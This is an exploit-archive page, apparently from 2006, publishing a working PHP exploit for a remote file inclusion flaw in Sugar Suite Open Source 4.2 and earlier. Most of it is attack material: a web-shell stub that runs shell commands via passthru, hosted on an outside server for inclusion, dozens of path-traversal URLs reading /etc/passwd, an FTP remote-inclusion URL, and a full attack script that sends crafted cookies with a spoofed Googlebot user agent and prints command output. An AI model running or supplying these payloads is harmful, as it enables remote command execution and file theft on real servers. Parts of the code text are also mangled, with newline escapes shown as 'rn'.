Sugar Suite Open Source <= 4.2 "OptimisticLock!" arbitrary remote inclusion exploit

2006.05.21
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

#!/usr/bin/php -q -d short_open_tag=on <? echo "Sugar Suite Open Source <= 4.2 "OptimisticLock!" arbitrary remote inclusion exploitrn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrnrn"; echo "this is called the "five claws of Sun-tzu"rnrn"; if ($argc<5) { echo "Usage: php ".$argv[0]." host path location cmd OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to sugar suitern"; echo "location: an arbitrary location with the code to includern"; echo "cmd: a shell commandrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /sugar/ http://somehost.com/shell.txt ls -larn"; echo "php ".$argv[0]." localhost /sugar/ http://somehost.com/shell.txt ls -la -p81rn"; echo "php ".$argv[0]." localhost / http://somehost.com/shell.txt ls -la -P1.1.1.1:80rnrn"; echo "note, you need this code in http://somehost.com/shell.txtrn"; echo "<?phprn"; echo "if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["c md"]);}rn"; echo "ini_set("max_execution_time",0);rn"; echo "echo "*delim*";rn"; echo "passthru($_REQUEST["cmd"]);rn"; echo "echo "*delim*";rn"; echo "?>rn"; die; } /* software site: http://www.sugarcrm.com/crm/ i) vulnerable code in modules/OptimisticLock/LockResolve.php: ... if(empty($GLOBALS['sugarEntry'])) die('Not A Valid Entry Point'); //<--- the f@ke protection, nearly in all files ... if(isset($_SESSION['o_lock_object'])){ global $beanFiles, $moduleList; $object = $_SESSION['o_lock_object']; require_once($beanFiles[$beanList[$_SESSION['o_lock_module']]]); $current_state = new $_SESSION['o_lock_class'](); $current_state->retrieve($object['id']); if(isset($_REQUEST['save'])){ $_SESSION['o_lock_fs'] = true; echo $_SESSION['o_lock_save']; die(); }else{ display_conflict_between_objects($object, $current_state->toArray(),$current_state->field_defs, $current_state->module_dir, $_SESSION['o_lock_class']); }}else{ echo 'No Locked Objects'; } ... you can include files from local & remote resources and launch commands, poc: with register_globals = On & allow_url_fopen = On: http://[target]/[path]/modules/OptimisticLock/LockResolve.php?GLOBALS[su garEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList [1]=1&beanFiles[1]=http://somehost.com/someshell.txt with register_globals = On: http://[target]/[path]/modules/OptimisticLock/LockResolve.php?GLOBALS[su garEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList [1]=1&beanFiles[1]=../../../../../../../../etc/passwd ii) arbitrary local inclusion issues in a lot of files: with register_globals = On & magic_quotes_gpc = Off: http://[target]/[path]/modules/Administration/CustomizeFields.php?GLOBAL S[sugarEntry]=1&theme=../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Administration/Development.php?GLOBALS[su garEntry]=1&theme=../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Administration/DstFix.php?GLOBALS[sugarEn try]=1&theme=../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Administration/index.php?GLOBALS[sugarEnt ry]=1&theme=../../../../../../../../../../etc/passwd%00 http://[target]/[path]/include/SubPanel/SubPanelViewer.php?GLOBALS[sugar Entry]=1&module=1&record=1&beanList[1]=1&theme=../../../../../../../../. ./../../../etc/passwd%00 http://[target]/[path]/modules/Accounts/index.php?GLOBALS[sugarEntry]=1& theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Administration/Upgrade.php?GLOBALS[sugarE ntry]=1&theme=../../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Bugs/index.php?GLOBALS[sugarEntry]=1&them e=../../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Calendar/index.php?GLOBALS[sugarEntry]=1& theme=../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Calls/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/CampaignLog/Forms.php?GLOBALS[sugarEntry] =1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Campaigns/Forms.php?GLOBALS[sugarEntry]=1 &theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Campaigns/index.php?GLOBALS[sugarEntry]=1 &theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/CampaignTrackers/Forms.php?GLOBALS[sugarE ntry]=1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Cases/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Contacts/index.php?GLOBALS[sugarEntry]=1& theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Dashboard/index.php?GLOBALS[sugarEntry]=1 &theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Documents/index.php?GLOBALS[sugarEntry]=1 &theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Dropdown/index.php?GLOBALS[sugarEntry]=1& theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Dropdown/Popup.php?GLOBALS[sugarEntry]=1& theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/DynamicFields/Popup.php?GLOBALS[sugarEntr y]=1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/EditCustomFields/EditView.php?GLOBALS[sug arEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/EditCustomFields/Forms.php?GLOBALS[sugarE ntry]=1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/EmailMan/index.php?GLOBALS[sugarEntry]=1& theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Emails/index.php?GLOBALS[sugarEntry]=1&th eme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/EmailTemplates/index.php?GLOBALS[sugarEnt ry]=1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Feeds/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Home/PopupSugar.php?GLOBALS[sugarEntry]=1 &theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Leads/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/MailMerge/index.php?GLOBALS[sugarEntry]=1 &theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Meetings/index.php?GLOBALS[sugarEntry]=1& theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Notes/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Opportunities/index.php?GLOBALS[sugarEntr y]=1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Project/Forms.php?GLOBALS[sugarEntry]=1&t heme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Project/index.php?GLOBALS[sugarEntry]=1&t heme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/ProjectTask/index.php?GLOBALS[sugarEntry] =1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/ProspectLists/index.php?GLOBALS[sugarEntr y]=1&theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Prospects/index.php?GLOBALS[sugarEntry]=1 &theme=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Roles/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Tasks/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Users/index.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/Users/Login.php?GLOBALS[sugarEntry]=1&the me=../../../../../../../../../../../../etc/passwd%00 with register_globals=On: http://[target]/[path]/modules/Administration/RebuildAudit.php?GLOBALS[s ugarEntry]=1&beanFiles[1]=../../../../../../../../../../../../../etc/pas swd and (on PHP5) arbitrary remote inclusion, including a file from a ftp resource: http://[target]/[path]/modules/Administration/RebuildAudit.php?cmd=ls%20 -la&GLOBALS[sugarEntry]=1&beanFiles[1]=ftp://username:password@somehost. com/shell.txt this is the exploit tool for i) */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $loc=urlencode($argv[3]); if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/')) {die("Check the path, it must begin and end with a trailing slashrn");} $port=80; $proxy=""; $cmd=""; for ($i=4; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) { $cmd.=" ".$argv[$i]; } if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;} $packet ="GET ".$p."modules/OptimisticLock/LockResolve.php HTTP/1.0rn"; $packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)rn"; $packet.="Host: ".$host."rn"; //through cookies, it's the same, maybe can bypass some ids... $packet.="Cookie: GLOBALS[sugarEntry]=1; _SESSION[o_lock_object]=1; _SESSION[o_lock_module]=1; beanList[1]=1; beanFiles[1]=".$loc."; cmd=".$cmd.";rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"*delim*")) { echo "Exploit succeeded..."; $temp=explode("*delim*",$html); die("rn".$temp[1]."rn"); } else { if (strstr($html,"Not A Valid Entry Point")) {echo "register_globals off here...rn";} echo "Exploit failed..."; } ?> original url: http://retrogod.altervista.org/sugar_suite_42_incl_xpl.html


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